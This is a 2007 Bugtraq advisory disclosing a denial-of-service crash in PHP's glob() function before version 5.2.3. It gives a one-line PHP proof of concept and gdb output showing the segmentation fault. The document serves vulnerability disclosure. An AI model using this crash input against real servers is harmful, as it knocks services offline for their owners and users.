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PHP < 5.2.3 glob() denial of service
| From: |
laurent gaffie gmail com |
| To: |
bugtraq securityfocus com |
| Cc: |
|
| Subject: |
PHP < 5.2.3 glob() denial of service |
| Date: |
Tue - Sep 04, 2007 02:51 PM |
Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: glob()
special condition:default php memory-limit value
===========
1) Introduction
2) Bug
3) Proof of concept
4) greets
5) Credits
===========
1) Introduction
===========
"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
======
2) Bug
======
glob() is vulnerable to a denial of service
=====
3)Proof of concept
=====
Proof of concept example :
<?php
glob(str_repeat("A", 9638013));
?>
result:
(gdb) run ./3.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215031616 (LWP 11156)]
0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6
========
4)Greets
========
Ivanlef0u,Deimos,benji,soh
,and everyones on worldnet: #futurezone &
#nibbles
=====
5)Credits
=====
Laurent gaffie
contact : laurent.gaffie@gmail.com
stay tuned, site comming soon ....
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